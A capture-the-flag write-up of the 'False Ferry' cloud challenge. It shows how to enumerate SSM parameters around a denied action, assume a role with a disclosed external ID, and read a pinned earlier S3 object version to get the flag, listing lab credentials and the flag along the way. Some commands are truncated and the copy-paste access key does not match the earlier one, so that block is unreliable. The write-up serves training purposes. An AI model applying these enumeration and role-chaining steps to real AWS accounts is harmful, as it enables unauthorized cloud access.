

CyberApocalypse 2026 — Cloud — False Ferry

Category: Cloud (AWS / LocalStack) **Flag:**

HTB{ferry_crossing_dock_seal_cdbd8ab226cb01e69adca58412a2d976}

Challenge

Lysa Harrowmere reaches the lower city ferry piers while Stormbound soldiers wait for the morning boat. They are supposed to cross the river and guard the east road before Vaultrune's next patrol moves through. The route board says the boat goes to the east road landing, but the crew roster sends it to a dock controlled by Vaultrune. If Lysa warns the soldiers openly, Vaultrune's men can claim she started a fight at the pier. If she confronts the ferry master, his guards can tear down the roster and post the correct one. Lysa has one job: **find the earlier crossing list, prove who changed the dock, and get the soldiers onto the right boat** before Vaultrune cuts the road.

Endpoints

- `154.57.164.77:31932` — HTTP briefing page ("Courier's Packet") that hands out starting credentials.
- `154.57.164.77:31205` — the AWS API endpoint (a LocalStack instance).

The story maps cleanly onto AWS primitives:

Story element	AWS reality
Crew roster / route board	An SSM Parameter Store namespace <code>/ferry/crossing/</code>

Story element	AWS reality
The "earlier crossing list"	A prior version of an S3 object (bucket versioning)
Proving who changed the dock	Reading the pinned, authorized manifest version
Getting through the pier without a fight	Chained privilege via sts:AssumeRole

Recon

The briefing page (:31932) loads its credentials from a JSON blob:

```
curl -s http://154.57.164.77:31932/player-creds.json
```

```
{
  "user": "coalition-ferry-clerk",
  "access_key_id": "AKIADXE6V66TNC1L390",
  "secret_access_key": "0W5ltr14VK/7yzXUQPEY0jqyYhh5RH9HnbY3pC4M",
  "region": "us-east-1",
  "endpoint": "http://127.0.0.1:4566"
}
```

The internal endpoint `http://127.0.0.1:4566` is the LocalStack default; from the outside we point `AWS_ENDPOINT_URL` at the exposed API port (`31205`), as the briefing's "Clerk's Margin" note instructs.

```
export AWS_ACCESS_KEY_ID=AKIADXE6V66TNC1L390
export AWS_SECRET_ACCESS_KEY=0W5ltr14VK/7yzXUQPEY0jqyYhh5RH9HnbY3pC4M
export AWS_DEFAULT_REGION=us-east-1
export AWS_ENDPOINT_URL=http://154.57.164.77:31205

aws sts get-caller-identity --endpoint-url "$AWS_ENDPOINT_URL"
```

```
{
  "UserId": "AIDA0WV3B3ZY6VXNKF5M",
  "Account": "584729103648",
  "Arn": "arn:aws:iam::584729103648:user/coalition-ferry-clerk"
}
```

We are the **coalition-ferry-clerk** .

Step 1 — Catalog the SSM namespace

The briefing says: *"Crossing batch metadata lives in Systems Manager under /ferry/crossing/. Catalog the namespace before you read any parameter value."*

`ssm:GetParametersByPath` is **denied**, but `ssm:DescribeParameters` is allowed — so we enumerate names instead of listing by path:

```
aws ssm describe-parameters
```

```
/ferry/crossing/live-crossing-id
/ferry/crossing/CROSSING-7A3F
/ferry/crossing/CROSSING-V0ID-9B11
/ferry/crossing/CROSSING-CLOSED-5E22
/ferry/crossing/CROSSING-DRAFT-8D40
/ferry/crossing/CROSSING-V0ID-3C21
/ferry/crossing/CROSSING-V0ID-1A04
/ferry/crossing/CROSSING-V0ID-2D77
```

`get-parameter` on individual names is allowed. `live-crossing-id` is the pointer to the currently-posted roster:

```
aws ssm get-parameter --name /ferry/crossing/live-crossing-id --query Paramet
# -> CROSSING-7A3F
```

Reading `CROSSING-7A3F` gives the live crossing record — the "route board":

```
{
  "crossing_id": "CROSSING-7A3F",
  "status": "AUTHORIZED",
  "issuer": "stormbound-coalition-ferry-office",
  "scanner_role_arn": "arn:aws:iam::584729103648:role/ferry-crossing-scanner",
  "scanner_external_id": "ferry-crossing-scanner-7a3f",
  "manifest_bucket": "ferry-crossing-manifest",
  "manifest_object_key": "manifests/morning-crossing-order.txt",
  "manifest_version_id": "e2cc7155-9930-4d41-bddf-5343b40599ba",
  "record_type": "crossing_manifest"
}
```

The other `CROSSING-VOID-*` / `CROSSING-CLOSED-*` / `CROSSING-DRAFT-*` entries are decoys (`issuer: third-party-archive` , statuses `VOID` / `CLOSED` / `DRAFT`). Only `CROSSING-7A3F` is the authorized, live record, and it hands us three things:

1. A **role to assume** — `ferry-crossing-scanner` , with an **external ID** — `ferry-crossing-scanner-7a3f` .
2. The **manifest object** — `s3://ferry-crossing-manifest/manifests/morning-crossing-order.txt` .
3. A **specific pinned version** — `manifest_version_id = e2cc7155-...` .

Step 2 — Cross the pier: assume the scanner role

The clerk cannot touch the manifest bucket directly, but is allowed to `sts:AssumeRole` into the scanner role — provided the correct external ID is supplied (this is the CTF's nod to the *confused-deputy* / *external-ID* pattern).

```
aws sts assume-role \
  --role-arn arn:aws:iam::584729103648:role/ferry-crossing-scanner \
  --role-session-name lysa \
  --external-id ferry-crossing-scanner-7a3f
```

```
{
  "AssumedRoleUser": {
    "Arn": "arn:aws:sts::584729103648:assumed-role/ferry-crossing-scanner/lys",
    "Credentials": { "AccessKeyId": "ASIA...", "SecretAccessKey": "...", "SessionToken": "..." }
  }
}
```

Export the temporary credentials (`AWS_ACCESS_KEY_ID` , `AWS_SECRET_ACCESS_KEY` , `AWS_SESSION_TOKEN`).

Step 3 — Find the earlier crossing list (S3 object versions)

The bucket is **versioned**. List every version of the manifest:

```
aws s3api list-object-versions \
  --bucket ferry-crossing-manifest \
  --prefix manifests/morning-crossing-order.txt
```

Three versions exist:

VersionId	Size	IsLatest	Content summary
5048ffde-...	129	true	CROSSING-VOID-9B11 — "RELEASED", emergency-release (the tampered/latest roster)
87ef2a97-...	99	false	CROSSING-DRAFT-8D40 — "AWAITING_CROSSING_SIGNATURE" (unsigned draft)
e2cc7155-...	157	false	CROSSING-7A3F — the authorized record pinned by SSM

The **latest** version is *not* the real roster — it points at a VOID emergency batch (Vaultrune's swap). The genuine, authorized crossing list is the earlier version that the SSM `live-`

`crossing-id` record explicitly pins: `e2cc7155-...` .

Fetch that specific version:

```
aws s3api get-object \  
  --bucket ferry-crossing-manifest \  
  --key manifests/morning-crossing-order.txt \  
  --version-id e2cc7155-9930-4d41-bddf-5343b40599ba \  
  /dev/stdout
```

CROSSING RELEASE RECORD

Batch: CROSSING-7A3F

Authorized by: Stormbound Coalition Ferry Office

HTB{ferry_crossing_dock_seal_cdbd8ab226cb01e69adca58412a2d976}

Flag

```
HTB{ferry_crossing_dock_seal_cdbd8ab226cb01e69adca58412a2d976}
```

Why it works / takeaways

- **Enumerate around denied actions.** `ssm:GetParametersByPath` was blocked, but `ssm:DescribeParameters` + `ssm:GetParameter` let us read everything anyway. Least-privilege that forgets one sibling action is not least-privilege.
- **Follow the pointer, not the head.** The current (`IsLatest`) S3 object was a decoy. The authoritative source of truth was the **version ID pinned inside the SSM record** — the earlier crossing list. Trusting "latest" would have put the soldiers on Vaultrune's boat.
- **S3 bucket versioning is an audit trail.** `list-object-versions` reveals the full tamper history; older versions remain readable unless explicitly deleted/locked.
- **Role chaining with external IDs.** Access was staged: user → `sts:AssumeRole` (with `-external-id`) → scanner role → bucket. Real environments use external IDs to prevent

the confused-deputy problem; here it was simply the next key on the ring, disclosed by the authorized SSM record.

Full solve (copy-paste)

```
# 1. Starting clerk creds (from the briefing)
export AWS_ACCESS_KEY_ID=AKIADXEV6V66TNC1L390
export AWS_SECRET_ACCESS_KEY=0W5ltr14VK/7yzXUQPEY0jqyYhh5RH9HnbY3pC4M
export AWS_DEFAULT_REGION=us-east-1
export AWS_ENDPOINT_URL=http://154.57.164.77:31205

# 2. Catalog SSM and read the live record
aws ssm describe-parameters
aws ssm get-parameter --name /ferry/crossing/live-crossing-id --query Parameter
aws ssm get-parameter --name /ferry/crossing/CROSSING-7A3F --query Parameter.

# 3. Assume the scanner role (external ID from the record)
eval "$(aws sts assume-role \
  --role-arn arn:aws:iam::584729103648:role/ferry-crossing-scanner \
  --role-session-name lysa \
  --external-id ferry-crossing-scanner-7a3f \
  --query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken]' --output t
| awk '{print "export AWS_ACCESS_KEY_ID=\"$1\"\nexport AWS_SECRET_ACCESS_KEY=

# 4. Read the pinned earlier version of the manifest
aws s3api list-object-versions --bucket ferry-crossing-manifest --prefix mani
aws s3api get-object --bucket ferry-crossing-manifest \
  --key manifests/morning-crossing-order.txt \
  --version-id e2cc7155-9930-4d41-bddf-5343b40599ba /dev/stdout
```